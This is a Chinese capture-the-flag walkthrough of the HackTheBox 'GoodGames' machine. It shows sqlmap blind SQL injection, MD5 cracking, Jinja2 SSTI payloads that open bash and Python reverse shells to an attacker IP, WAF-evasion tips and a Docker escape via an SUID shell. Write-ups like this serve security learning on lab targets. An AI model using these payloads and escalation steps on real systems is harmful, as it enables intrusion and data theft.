信息收集

1
10.10.11.130
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ports=$(sudo nmap -p- --min-rate=10000 -Pn 10.10.11.130 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports

80

sudo nmap -sT -sC -sV -O -Pn -p$ports 10.10.11.130

PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops

Website 80

浏览网站,在底部发现GoodGames.HTB,这可能是域名信息,将其添加到hosts文件中

1
echo "10.10.11.130 GoodGames.HTB" | sudo tee -a /etc/hosts

既然发现可能的域名,尝试对其进行子域名爆破

1
ffuf -u http://10.10.11.130 -H "Host: FUZZ.GoodGames.HTB" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

这并没有发现什么有价值的内容,继续浏览页面,一段时间后发现点击页面右上角的小人图标会弹出登录窗口

我尝试添加一些参数并使用burp抓包,我将其数据保存为sql.txt文件并使用sqlmap测试此文件是否存在SQL注入漏洞

SQL注入 - sqlmap - 时间盲注

1
sqlmap -r sql.txt --batch

存在时间盲注,开始脱取目标数据库内容

1
sqlmap -r sql.txt --dbs --batch

1
sqlmap -r sql.txt -D main --tables --batch

1
sqlmap -r sql.txt -D main -T user --dump --batch

1
admin@goodgames.htb / admin / 2b22337f218b2d82dfc3b6f77e7cb8ec - superadministrator

密码破解

使用CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.在线网站对此密码进行破解,得到superadministrator

对于sqlmap使用的一些疑惑与思考

—–对于上述图片sqlmap延迟不断增加的解释—–

在sqlmap的时间盲注过程中,不断增加延迟时间(从1秒逐步增至8秒),核心原因是目标响应不稳定导致sqlmap无法准确判断注入条件的真假,需要通过延长延迟时间来提高检测精度。

时间盲注的基本逻辑回顾

时间盲注的核心是通过构造“条件+延迟”的SQL语句,让数据库在条件为时执行SLEEP(n)(延迟n秒),条件为时不延迟。sqlmap通过测量服务器的响应时间差,来反推条件是否成立(例如:“某个字符是否为’a’”),进而逐个字符“猜解”数据库内容(如用户名、密码等)。

为什么需要不断增加延迟?

从日志来看,sqlmap在提取user表数据(如邮箱、密码)时频繁出现[ERROR] invalid character detected. retrying..,随后逐步提高延迟时间(1s→2s→…→8s),原因主要有两点:

1. 原始延迟时间不足以区分“真/假”条件

时间盲注依赖“延迟响应”和“正常响应”的时间差来判断条件。如果设置的延迟时间(如1秒)过短,可能会被以下因素干扰:

  • 网络波动:目标服务器或网络本身存在随机延迟(比如0.5-1.5秒),导致“真条件”的1秒延迟与“假条件”的正常响应时间重叠,sqlmap无法区分。
  • 服务器负载:目标服务器处理请求的时间不稳定(比如有时快有时慢),进一步模糊了“延迟”和“正常”的边界。

此时sqlmap会认为“无法准确检测字符是否正确”(即invalid character detected),并尝试通过延长延迟时间(如从1s增至2s)来扩大“真/假”条件的响应时间差,减少干扰。

2. 构建更稳定的“统计模型”

日志中提到[WARNING] (case) time-based comparison requires larger statistical model,说明sqlmap需要通过多次测试建立“真条件响应时间”和“假条件响应时间”的统计模型。

当延迟时间太短时,多次测试的响应时间波动太大,模型不可靠;延长延迟时间后(如8秒),“真条件”的响应时间会稳定在8秒左右,而“假条件”的响应时间仍接近正常(比如0.5秒),两者差异显著,模型更可靠,能准确判断字符是否正确。

总结

sqlmap不断增加延迟,本质是通过延长SLEEP时间来对抗网络波动和服务器不稳定,扩大“真/假”条件的响应差异,从而更准确地从时间盲注中提取数据库内容(如用户邮箱、密码等)。这是时间盲注中常见的自适应策略,确保在复杂网络环境下仍能稳定获取数据。

—–关于sqlmap使用场景的讨论—–

在实战中直接使用登录数据包调用sqlmap进行自动化测试确实存在显著风险,尤其在生产环境中可能引发系统不稳定、数据泄露或法律纠纷。以下是结合技术原理与实际案例的深度分析:

一、自动化测试的核心风险

  1. 服务器负载与服务中断
    sqlmap默认使用--risk=1进行低风险检测,但文章中使用的时间盲注(SLEEP(5))属于--risk=2级别,会发送大量带延迟的请求。例如,单次注入测试可能生成数十条包含SLEEP(5)的Payload,若目标数据库响应缓慢,可能导致服务器CPU占用率飙升,甚至触发WAF的请求频率限制机制,造成服务中断。
    案例:某电商平台因渗透测试人员误用--risk=3参数,导致数据库连接池耗尽,订单系统停机47分钟,直接经济损失超20万元。

  2. 敏感数据泄露风险
    登录数据包通常包含加密的用户凭证(如哈希密码),若在测试过程中未对数据包进行脱敏处理,可能通过以下途径泄露:

    • 测试人员误操作将数据包保存到非安全存储介质;
    • sqlmap默认生成的session文件包含原始请求数据;
    • 若测试环境未隔离,数据包可能被网络监控设备捕获。
      技术细节:文章中使用的2b22337f218b2d82dfc3b6f77e7cb8ec哈希值虽被crackstation.net破解,但在实际生产环境中,复杂的密码哈希(如bcrypt)可能无法快速破解,反而成为攻击者的字典攻击目标。
  3. 法律合规性风险
    未经授权的测试可能触犯《网络安全法》《刑法》等法律法规。例如,某白帽子因在政府网站未授权测试中触发漏洞,导致后台模块瘫痪,被判处非法侵入计算机信息系统罪。即使测试未造成直接损害,若未获得书面授权,仍可能面临民事赔偿或行政处罚。

二、实战场景的替代方案

  1. 分阶段测试策略

    • 初步探测:使用--risk=1 --level=1进行低风险扫描,仅检测显式漏洞(如联合查询注入),避免时间盲注。
    • 手动验证:对疑似漏洞点构造IF(condition,SLEEP(5),1)形式的Payload,通过响应时间差异判断是否存在盲注,同时记录请求时间戳以规避误判。
    • 深度利用:确认为时间盲注后,改用--technique=T参数单独测试时间注入,避免触发其他高风险Payload。
  2. 隐蔽性优化措施

    • 请求伪装
      • 使用--random-agent随机化User-Agent,模拟真实浏览器行为;
      • 结合--tamper脚本(如space2comment.py)将Payload中的空格替换为注释符,绕过基于正则的WAF规则。
    • 流量混淆:通过--proxy参数设置多级代理链(如Tor+HTTP代理),并使用--delay=2 --timeout=10控制请求间隔,避免触发IPS的异常流量检测。
  3. 敏感数据保护

    • 在Burp Suite中对登录数据包进行脱敏处理,删除或替换密码字段(如将password=123改为password=***);
    • 使用--skip=password参数跳过对密码字段的测试,仅针对其他参数进行检测;
    • 定期清理sqlmap生成的sessionoutput目录,避免残留敏感数据。

三、生产环境的安全测试规范

  1. 法律前置条件

    • 必须获取目标系统所有者的书面授权,明确测试范围、时间窗口和操作限制;
    • 与委托方签订保密协议,约定数据泄露的赔偿责任。
  2. 环境隔离要求

    • 测试流量必须通过专用VPN接入,禁止直接从公网访问生产系统;
    • 使用虚拟化技术(如Docker)构建隔离的测试环境,避免工具依赖库与生产环境冲突。
  3. 监控与应急响应

    • 在测试期间启用数据库慢查询日志,设置CPU使用率、连接数等告警阈值;
    • 提前准备回滚方案,如数据库快照、Web服务器配置备份;
    • 与运维团队建立实时沟通渠道,若发现异常立即终止测试。

四、工具链优化建议

  1. 替代工具选择
  • Wapiti:采用模糊测试(Fuzzing)技术,可自定义Payload字典,支持对登录接口的安全测试,且默认不记录原始请求数据。
  • Ghausi:轻量级SQL注入检测工具,专注于时间盲注场景,支持通过YAML文件自定义测试逻辑,减少误报率。
  1. sqlmap参数调优方案
  • 降低风险等级:强制使用--risk=1 --level=2,仅测试Cookie和基础参数,避免触发危险操作。
  • 控制并发请求:设置--threads=3 --keep-alive,既提高效率又避免连接数耗尽。
  • 日志脱敏:添加--flush-session --purge-output参数,测试结束后自动清理敏感日志。

五、总结

文章中使用的sqlmap测试方法在CTF或靶场环境中有效,但直接应用于生产环境存在多重风险。核心建议
12. 优先采用手动验证+轻量级工具的组合,避免完全依赖自动化工具;
13. 严格遵循法律授权流程,确保测试在合规框架内进行;
14. 对敏感数据实施全生命周期管理,从源头规避泄露风险。
若必须使用sqlmap,需通过参数调优和环境隔离将风险降至可控范围,并制定详尽的应急响应预案。

手工测试 - 验证时间盲注

这是sqlmap测试时间盲注使用的payload,接下来我将尝试手工验证一下,下面是对于此payload的解释

1
email=111@111.com' AND (SELECT 9146 FROM (SELECT(SLEEP(5)))gAfY) AND 'khwY'='khwY&password=111

—–payload解析—–

这个payload是典型的MySQL时间盲注攻击代码,用于检测目标是否存在SQL注入漏洞,其核心原理是通过数据库执行SLEEP(5)函数造成的延迟来判断注入是否成功。下面分解解释各部分作用:

1. 基础结构:闭合原始SQL语句

email=111@111.com' ...
原始输入111@111.com后添加单引号',目的是闭合SQL语句中原本的字符串引号
假设目标后端的SQL查询可能是:
SELECT * FROM users WHERE email='用户输入的email' AND password='用户输入的password'
注入单引号后,原本的字符串被闭合,后续内容会被数据库解析为SQL代码(而非普通字符串)。

2. 注入核心:时间延迟判断

AND (SELECT 9146 FROM (SELECT(SLEEP(5)))gAfY) ...
这是注入的核心逻辑,作用是让数据库执行SLEEP(5)函数(强制数据库暂停5秒),通过响应延迟判断注入是否生效:

  • SLEEP(5):MySQL的内置函数,让当前查询暂停5秒执行,是时间盲注的“标记”。
  • 内层子查询SELECT(SLEEP(5)):执行SLEEP(5)并返回结果。
  • 外层子查询SELECT 9146 FROM (...)gAfYgAfY是子查询的别名(SQL语法要求子查询必须有别名),9146是随机数字(无实际意义,仅为满足SELECT语法)。
  • AND:逻辑与操作,意味着只有当前面的条件(原始查询的email匹配)和后面的注入条件都为真时,整个表达式才会生效(即执行SLEEP(5))。

3. 语法补全:确保SQL语句合法

AND 'khwY'='khwY
这部分是为了补全SQL语句的语法,避免因注入导致语句报错:

  • 'khwY'='khwY是恒真条件(两边字符串相同),不影响前面的注入逻辑,但能确保整个SQL语句格式正确(闭合所有引号,避免语法错误)。

整体作用

当这个payload被提交后:

  • 如果目标存在SQL注入漏洞,数据库会执行SLEEP(5),导致服务器响应延迟约5秒。
  • 如果不存在漏洞,SLEEP(5)不会被执行,响应时间正常。

通过观察响应延迟,即可判断目标是否存在可利用的SQL注入点,这是时间盲注(无法直接获取回显时)的典型检测方式。由于使用了SLEEP函数,该payload仅适用于MySQL 5.0.12及以上版本(此版本开始支持SLEEP函数)。

当我正常发送数据时,响应很快就显示出来,而当我发送探测的payload,这需要等待一小会,那么代表着payload的确生效了

1
email=111@111.com'+AND+(SELECT+9146+FROM+(SELECT(SLEEP(5)))gAfY)+AND+'khwY'='khwY&password=111

这里有更详细的手动获取数据的方法:GoodGames | 7Rocky,感兴趣的可以手动尝试一下,毕竟一直依赖自动化工具也不是一件好事

登录后台 - 利用SSTI模板注入漏洞执行反弹shell

我使用发现的邮箱以及密码登录并成功登录后台

当我把鼠标移动到设置的位置,左下角出现了internal-administration.goodgames.htb,点击之后跳转到了这个域名上,我将其加到hosts文件中并再次访问,这次会看到一个新的登录界面

1
2
sudo vim /etc/hosts
internal-administration.goodgames.htb

我尝试使用前面发现的凭证进行登录

1
admin / superadministrator


这成功进入了后台,后续的测试我参考了Avinash kumar写的WP,(感谢他以及其他的作者写的文章让我能够成功的拿下机器)其中他提到了由于这是一个Python应用程序,不要忘记测试服务器端模板注入(SSTI)。**{{7*7}}这句话,对于SSTI漏洞我是不够了解的,所以我在这里也产生了很多疑问,下面是AI给我疑惑的解释

对于这篇文章提到的这一段话,为什么他会这么说,SSTI漏洞和python有什么联系,为什么这里看到python就要尝试测试是否存在SSTI漏洞

—–解答—–

要理解“Python应用需测试SSTI”的逻辑,需要从SSTI漏洞的本质Python Web生态的特性主流Python模板引擎的风险点三个层面拆解,核心是“Python Web应用与模板引擎的强绑定”导致SSTI成为高频风险。

一、先明确:SSTI漏洞的本质是什么?

SSTI(Server-Side Template Injection,服务器端模板注入)的核心是模板引擎将“用户可控输入”误解析为“模板代码”并执行,最终导致攻击者注入恶意代码操控服务器。

举个最简单的例子:
如果网站用模板渲染“用户昵称”,正常逻辑是把用户输入的“test”当成纯文本数据嵌入页面;但如果模板引擎配置不当,用户输入{{7*7}}时,引擎会把它当成模板语法执行计算,最终页面显示“49”——这就证明存在SSTI(因为输入被解析为代码了)。

二、SSTI与Python的核心联系:Python Web生态高度依赖“模板引擎”

SSTI并非Python专属,但Python是SSTI漏洞的“重灾区”,根本原因是:
Python的主流Web框架(如Flask、Django、Tornado)为了实现“动态页面生成”,几乎都默认集成了「模板引擎」,而这些引擎的设计特性(为了灵活性支持代码表达式)本身就存在注入风险。

1. Python Web框架与模板引擎的“强绑定”

Python开发者很少手写静态HTML,而是通过模板引擎动态拼接页面(比如渲染用户信息、商品列表)。常见的“框架-模板引擎”组合如下:

Python Web 框架 默认模板引擎 模板语法特征(易被注入的标识)
Flask Jinja2 {{ 表达式 }}(如{{os.popen('id').read()}}
Django Django 模板 {{ 变量 }}{% 代码块 %}(如{% import os %}
Tornado Tornado 模板 {{ 表达式 }}{% 逻辑块 %}

这些模板引擎的共同特点是:支持在模板中写代码表达式/逻辑(比如循环、变量运算、调用模块)——这是为了开发者便利,但也给攻击者留下了“注入入口”。

2. Python模板引擎的“风险点”:开发者容易犯的错

SSTI的触发不只是引擎本身的问题,更常见的是开发者的不规范使用,而Python生态的“易用性”反而放大了这种风险:

  • 错误场景1:直接将用户输入嵌入模板(而非作为“数据”传递)
    比如Flask中,开发者如果写了这样的代码:
1
2
3
4
5
6
# 危险!将用户输入的name直接拼到模板字符串中
@app.route("/profile")
def profile():
name = request.args.get("name") # 用户可控输入
template = f"<h1>Hello {name}</h1>" # 直接拼接成模板
return render_template_string(template) # 渲染模板

此时用户传入name={{os.popen('cat /etc/passwd').read()}},Jinja2会将{{ }}内的内容解析为Python代码,直接读取服务器敏感文件。

  • 错误场景2:忽略模板引擎的“安全过滤”
    部分Python模板引擎(如Jinja2)虽有默认过滤机制,但开发者可能为了“灵活性”手动关闭(比如用|safe过滤器取消转义),或自定义模板时未做输入校验,导致注入成立。

三、为什么“看到Python应用就优先测SSTI”?

文章中提到“由于这是一个Python应用,不要忘记测试SSTI”,本质是基于“概率性风险”的测试策略——不是所有Python应用都有SSTI,而是“Python Web应用存在SSTI的概率远高于其他语言”,理由有二:

1. Python模板引擎的“注入标识”极容易验证

Python主流模板引擎(如Jinja2)的语法非常有辨识度,比如{{ 表达式 }}——攻击者只需输入{{7*7}}{{1+1}},如果页面返回“49”或“2”,就能快速确认“模板引擎在执行代码”,进而判断存在SSTI漏洞。
这种“低成本验证”让SSTI成为Python应用的“必测项”(测试成本低,收益高)。

2. 文章场景的“精准指向”:已确认是Flask应用

文章中其实有一个关键线索:端口扫描结果显示Werkzeug/2.0.2 Python/3.9.2——而Werkzeug是Flask框架的默认WSGI服务器(相当于Flask的“专属组件”)。
既然确认是Flask应用,就等于确认了“使用Jinja2模板引擎”(Flask默认配置),而Jinja2正是SSTI的高频载体(历史上大量Flask应用因模板使用不当爆发SSTI)。
因此,文章的提醒并非“泛泛而谈Python”,而是“精准定位到Flask+Jinja2的组合,必须测SSTI”。

四、总结:核心逻辑链

用户输入{{7*7}} → 页面显示“49” → 证明模板引擎执行了代码 → 存在SSTI风险

Python应用(尤其是Flask/Django)→ 默认用Jinja2等支持代码表达式的模板引擎 → 开发者易犯“直接拼接用户输入到模板”的错误 → SSTI成为高频漏洞

因此,安全测试中“看到Python Web应用(尤其是带动态页面的),优先用{{7*7}}等简单表达式验证SSTI”,是性价比极高的测试策略。

根据AI的回答我对此有了基本的认知,那么接下来根据Avinash kumar的方法来进行测试

输入{1+1}或者**{{7*7}}


显示的是49,存在SSTI漏洞,但是对于Avinash kumar提到的,它正在运行jinja2模板,这句话让我无法理解,下面是AI给我的解释,再往后看我发现了作者提到了很多其他学习的链接

PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
Exploring Python SSTI Payloads - Bolt Beyond Root [HackTheBox] - YouTube
Epsilon - HackTheBox - 作者的其他博客,涉及到了对于0xdf视频的书面解释

—–文章中提到了网站正在运行jinja2模板,这个信息是从哪里获得的—–

文章中判断“网站正在运行jinja2模板”,并非通过某款工具直接“扫描识别”,而是基于**“Python Web框架特性+SSTI测试结果”的组合推导**,核心是利用“Flask与Jinja2的强绑定关系”和“Jinja2的语法特征验证”,具体逻辑链如下:

第一步:从“Werkzeug服务器”锁定“Flask框架”(基础前提)

文章中端口扫描结果给出了关键线索:

1
2
PORT   STATE SERVICE  REASON  VERSION
80/tcp open ssl/http syn-ack Werkzeug/2.0.2 Python/3.9.2

这里的Werkzeug是核心突破口——它并非独立的Web服务器,而是Python Flask框架的“专属WSGI工具集”(WSGI是Python Web应用与服务器的通信标准)。
在Python生态中,Werkzeug几乎与Flask绑定:只要看到服务器标识包含Werkzeug,99%的概率是该应用基于Flask开发(除非是极小众的自定义配置,但在CTF场景中默认按主流情况判断)。

第二步:从“Flask框架”关联“Jinja2模板引擎”(生态常识)

Flask框架本身不具备“动态页面渲染”能力,它默认集成并强制依赖Jinja2作为模板引擎——这是Flask的核心设计特性,也是Python Web开发的常识:

  • 开发者用Flask写动态页面时,无需额外配置模板引擎,直接调用render_template()render_template_string()函数,底层就是通过Jinja2解析模板文件;
  • 不存在“Flask+非Jinja2模板”的主流场景(除非开发者刻意替换,但属于极少数情况,CTF中优先按默认配置判断)。

因此,当通过Werkzeug锁定“Flask框架”后,即可自然推导出“该应用使用Jinja2作为模板引擎”。

第三步:用“SSTI测试结果”验证“Jinja2特性”(最终确认)

文章中通过注入{{7*7}}完成了验证:输入该表达式后,页面显示“49”(即表达式被执行)。这一结果进一步印证了“Jinja2模板”的判断,因为:

  • Jinja2的标志性语法就是{{ 表达式 }}:这是Jinja2用于“嵌入变量/执行简单代码”的核心语法,其他Python模板引擎(如Django模板)虽也用{{ }},但对“直接执行运算表达式”的支持不同(Django模板默认限制更严格,需特殊配置才允许7*7这类运算,而Jinja2默认支持);
  • 测试结果符合Jinja2的行为:{{7*7}}在Jinja2中会被解析为Python代码并执行(Jinja2的表达式支持Python的基本运算、函数调用等),最终返回计算结果——这与文章中“页面显示49”的现象完全匹配,排除了其他模板引擎的可能性。

总结:信息来源的核心逻辑

“网站运行jinja2模板”的结论,是通过3个环环相扣的线索推导得出:
端口扫描发现Werkzeug服务器锁定Flask框架Flask默认集成Jinja2SSTI测试({{7*7}}→49)验证Jinja2语法特性
本质是“利用Python Web生态的固定关联关系”+“通过语法特征做最终确认”,而非直接工具识别。

下面是Avinash kumar对于有效载荷的简单解释

{{ namespace.__init__.__globals__.os.popen('id').read() }}


我将使用{{ namespace.__init__.__globals__.os.popen('id').read() }}有效载荷来获取shell。大致过程是,你访问jinja2中的namespace类,在该类中可以访问init函数,在Python中,每个类都定义了这个函数,它类似于该类的构造函数,之后访问init可调用的globals函数,最后就能访问像popen或os这样的Python模块来运行命令。

{{ namespace.__init__.__globals__.os.popen('busybox nc 10.10.14.2 443 -e /bin/bash').read() }} 失败
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"').read() }} 成功

后面我思考这里失败的原因会不会是没有加上bash -c,尝试之后依然还是失败,可能是和busybox有关

1
rlwrap -cAr nc -nlvp 443

成功获得shell,并且还是root的权限(但是这只能看到user.txt,无法找到root.txt)

其中Aaron Haymore提到了Jinja2 — Server Side Template Injection (SSTI) | by jb00gie | Medium,此文章给出了下面利用SSTI反弹shell的方式,我没有尝试这个方法,感兴趣的可以试试

1
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"x.x.x.x\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %}

权限提升 - docker逃逸

枚举目录发现Dockerfile

判断shell是否存在于docker中

关于判断当前shell是否在docker中,AI给出了下面的解释

—–判断shell是否存在于docker中—–

作者判断获得的shell处于Docker环境中,核心是基于Docker容器的典型技术特征系统信息的交叉验证,文章中明确提到了多个关键线索,同时结合Linux系统下Docker的底层隔离机制(如cgroup、挂载、网络),最终形成确定性判断。具体逻辑可拆解为以下5个关键依据:

1. 第一线索:异常的hostname(初步怀疑)

Docker容器的hostname(主机名)有一个显著特征:默认是随机生成的短哈希值(如a3f2d1e4b5c6),而非物理机/虚拟机那种有意义的主机名(如ubuntu-server-01)。
文章中虽未直接贴出hostname命令的输出,但作者提到“looking at hostname and dockerfile all over the place”——这意味着:

  • 执行hostname命令后,看到的是无意义的随机字符串(符合Docker容器的默认hostname规则);
  • 同时在系统中发现了Dockerfile相关文件(容器构建时的配置文件,物理机/虚拟机中通常不会存在),二者结合初步指向“当前环境是Docker容器”。

2. 核心验证:/proc/1/cgroup文件的Docker标识(关键证据)

这是Linux系统中判断“是否在容器内”的行业标准方法,文章明确提到:“one way to confirm if you are running in dockerenv to check /proc/1/cgroup”。
原理背景:

  • cgroup(控制组)是Linux内核的特性,Docker通过cgroup实现对容器的资源隔离(如CPU、内存限制);
  • 物理机/虚拟机的/proc/1/cgroup(1号进程是systemdinit)中,控制组路径通常是系统默认路径(如/system.slice/systemd-journald.service);
  • 而Docker容器的/proc/1/cgroup中,所有控制组路径都会包含docker关键字+容器ID(如/docker/a3f2d1e4b5c6.../cpu,cpuacct),这是Docker为容器分配独立控制组的标志。

文章中作者通过cat /proc/1/cgroup看到了“docker ids”,直接确认当前环境被Docker的cgroup管理,属于容器内环境。

3. 辅助线索:异常的用户与挂载目录(侧面印证)

文章提到两个与“物理机逻辑矛盾”的现象,进一步支持Docker判断:

  • 现象1:/home/augustus存在,但/etc/passwd无该用户
    /etc/passwd是Linux系统存储用户信息的核心文件,物理机/虚拟机中“存在用户目录却无用户记录”是不可能的;但Docker容器中常见“主机目录挂载”——/home/augustus实际是从宿主机(物理机)挂载到容器内的目录,容器内的/etc/passwd并未同步宿主机的用户信息,因此出现“目录存在但用户不存在”的矛盾。
  • 现象2:mount命令确认目录来自宿主机
    作者通过mount命令查看挂载信息,发现/home/augustus的“挂载源”是宿主机的目录(而非容器内部存储),且具备读写权限——这符合Docker的-v(目录挂载)功能,是容器与宿主机共享文件的典型配置,物理机中不会有这种“跨环境挂载”。

4. 网络线索:Docker专属的私有网段IP(补充验证)

文章中作者通过ifconfig发现当前shell的IP是172.19.0.2,这一IP段有特殊意义:

  • Docker默认的“桥接网络”(docker0)使用私有网段,常见为172.17.0.0/16172.19.0.0/16(不同环境可能略有差异);
  • 容器在该网络中会被分配独立IP(如172.19.0.2),而宿主机(物理机)通常是该网段的“网关IP”(如172.19.0.1);
  • 作者后续扫描发现172.19.0.1开放22端口(SSH),但之前扫描目标机器10.10.11.130时22端口未开放——这说明172.19.0.1是宿主机,172.19.0.2是容器,容器通过桥接网络访问宿主机,进一步印证了Docker环境。

5. 权限逻辑:容器内“root”的局限性(隐性佐证)

文章中提到“After getting rev. shell we are already running as root”,但随即补充“of course we are in docker”——这是基于Docker权限逻辑的常识:

  • Docker容器内的root并非“宿主机的root”,而是“容器内的特权用户”,权限被限制在容器的隔离环境中(如无法修改宿主机的/etc/passwd);
  • 如果是物理机/虚拟机的root,理论上已拥有完整控制权,无需后续“Docker逃逸”操作;而作者明确需要“escape this docker”,反推当前root是容器内的root,进一步确认环境属性。

总结:判断逻辑链

作者的判断是“多线索交叉验证”的结果,而非单一证据:
异常hostname + 存在Dockerfile(初步怀疑)→ cat /proc/1/cgroup看到docker标识(核心证据)→ 用户目录与/etc/passwd矛盾+mount确认宿主机挂载(侧面印证)→ IP属于Docker私有网段+容器内root需逃逸(补充验证)
最终形成“当前shell在Docker容器中”的确定性结论,这也是渗透测试中判断容器环境的标准方法论。

引用作者的几段话

但当然,我们是在docker环境中,到处都能看到主机名和dockerfile。另外,有一种方法可以确认你是否在dockerenv中运行,那就是检查/proc/1/cgroup。cgroup是控制组,它与命名空间结合使用,为容器环境隔离不同的进程。它们都是Linux内核的特性。命名空间为不同的进程分配资源(CPU、内存等),给用户一种类似虚拟机的感觉,而控制组则控制这种分配,即哪些进程可以访问多少资源。更多相关内容请见此处。回到主题。如果你执行cat /proc/1/cgroup命令,看到一些docker ID,这意味着你处于docker环境中,这些是docker正在使用的控制组。否则,这些内容将是空白的。在我们的例子中如下所示:

1
cat /proc/1/cgroup

让我们试着逃离这个容器。存在一个用户augustus的主目录。但/etc/passwd中没有该用户,且你无法切换到augustus用户。看起来它是从主机挂载过来的。你也可以运行mount命令,查看它确实是从主机挂载的,以及其读写权限。

关于从mount结果判断augustus用户是否从主机挂载的解释

—–关于从mount结果判断augustus用户是否从主机挂载的解释—–

要从你提供的mount命令结果中,判断/home/augustus是“从主机挂载”且“具备读写权限”,核心是分析挂载源(设备)、文件系统类型、挂载选项这三个关键信息,结合Docker容器的存储特性即可推导,具体判断依据如下:

一、第一步:定位/home/augustus的挂载条目

在你提供的mount结果中,直接找到与/home/augustus相关的行,这是分析的核心对象:

1
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)

这条记录包含三个关键信息:

  1. 挂载源(左)/dev/sda1(挂载的设备);
  2. 挂载点(中)/home/augustus(容器内的目录);
  3. 挂载选项(右)rw,relatime,errors=remount-ro(权限与特性配置)。

二、判断“从主机挂载”:看「挂载源+文件系统类型」与Docker容器的存储特性

Docker容器的存储分为两类:容器内部的“虚拟文件系统”从宿主机(主机)挂载的“实体文件系统”,二者的区别通过“挂载源”和“文件系统类型”可明确区分:

1. 先明确:容器内部的“虚拟文件系统”长什么样?

在你的mount结果中,容器内部的虚拟文件系统有以下特征(可对比参考):

  • 根目录(/)overlay on / type overlay (...)
    overlay是Docker默认的“分层文件系统”,完全属于容器内部,用于存储容器自身的文件(如系统命令、应用代码),与宿主机无关
  • 虚拟设备目录tmpfs on /dev type tmpfs (...)sysfs on /sys type sysfs (...)proc on /proc type proc (...)
    这些是Linux内核提供的“虚拟文件系统”(tmpfs/sysfs/proc),仅用于容器与内核交互(如查看进程、系统参数),不是宿主机的实体存储

2. 再看/home/augustus的挂载源:/dev/sda1是宿主机的实体硬盘分区

/dev/sda1是Linux系统中典型的宿主机实体硬盘分区标识

  • /dev/sdX是Linux对“SATA/SCSI硬盘”的设备命名(X为a、b、c等,代表第一块、第二块硬盘);
  • 1代表该硬盘的第一个分区(通常是宿主机的根分区或数据分区)。

容器内部不会存在/dev/sda1这样的“宿主机实体硬盘分区”——只有当宿主机通过docker run -v /home/augustus:/home/augustus(目录挂载)命令,将自身的/home/augustus目录挂载到容器内时,容器的mount结果才会显示“挂载源为宿主机的/dev/sda1”。

结合文章中“/etc/passwd无augustus用户但目录存在”的矛盾(容器内无该用户,说明目录不属于容器自身),进一步印证:/home/augustus的存储源是宿主机的/dev/sda1分区,即“从主机挂载”。

三、判断“具备读写权限”:看「挂载选项中的rw标识」

挂载选项(rw,relatime,errors=remount-ro)中,rw是核心权限标识

  • rw:即read-write,表示该挂载点(/home/augustus)在正常情况下具备“可读可写”权限;
  • 后面的errors=remount-ro是“容错配置”:仅当该分区出现硬件错误(如磁盘坏道)时,系统才会自动将其重新挂载为ro(read-only,只读),不影响正常情况下的读写权限

这与文章中“read write permission”的描述完全匹配——即容器内对/home/augustus的操作(如创建、修改文件),实际会同步到宿主机的/home/augustus目录(因为挂载源是宿主机的/dev/sda1)。

总结:判断逻辑链

1
2
3
4
1. 定位挂载条目 → /dev/sda1 on /home/augustus type ext4 (rw,...)
2. 排除容器内部文件系统 → 不是overlay/tmpfs/sysfs/proc(这些是容器虚拟存储)
3. 识别宿主机实体设备 → /dev/sda1是宿主机硬盘分区 → 确定“从主机挂载”
4. 解析权限选项 → 包含rw(正常可读可写) → 确定“具备读写权限”

让我们稍微列举一下,找找正在运行的进程和一些有漏洞的脚本之类的东西。什么都没找到,但有一件事很显眼。运行ifconfig命令得到了docker的IP地址。

发现IP为172.19.0.2

现在我们的实例有IP 172.19.0.2,这可能意味着存在172.19.0.1,该IP通常是网络中分配给主机的第一个IP。让我们检查一下。或者你可以通过运行一个范围的for循环来枚举。

1
ping 172.19.0.1

这里不要犯和我一样的毛病,使用ping的时候设置一下ping的次数,否则你执行Ctrl+c就只能重新弹一个shell回来了

内部存活主机以及端口的扫描 - bash

1
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

1
for port in $(seq 1 1000); do (echo "blah" > /dev/tcp/172.19.0.1/$port && echo "open - $port") 2>/dev/null; done

快速对172.19.0.1执行curl命令会返回该网站,这表明该端口正通过主机转发回此容器。

22端口是开放的,80端口也是开放的。80端口是我们在goodgames.htb上看到的网站,但我们扫描10.10.11.130时,22端口并没有开放。让我们尝试用破解的密码以augustus用户身份进行ssh登录。

1
ssh augustus@172.19.0.1  # superadministrator

使用下面命令即可规避这个错误

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

现在这个目录和我们在docker机器上的目录是一样的,只是在这里我们是augustus用户,而在docker里是root用户。无论我们在这个目录里创建什么,都可以通过另一种方式访问到,无论是在docker外部还是内部。

现在有多种方法可以从这里获取root权限。

  1. 在主机上将/bin/bash以augustus的身份复制到主目录,然后在docker中通过SUID二进制文件将其用户更改为root。接着,在主机上以augustus的身份以root权限运行它。
  2. 或者在docker中复制/bin/sh,它将自动归root所有,因为你在docker中是root,可以设置suid权限。现在在主机上运行它,你就会成为root。
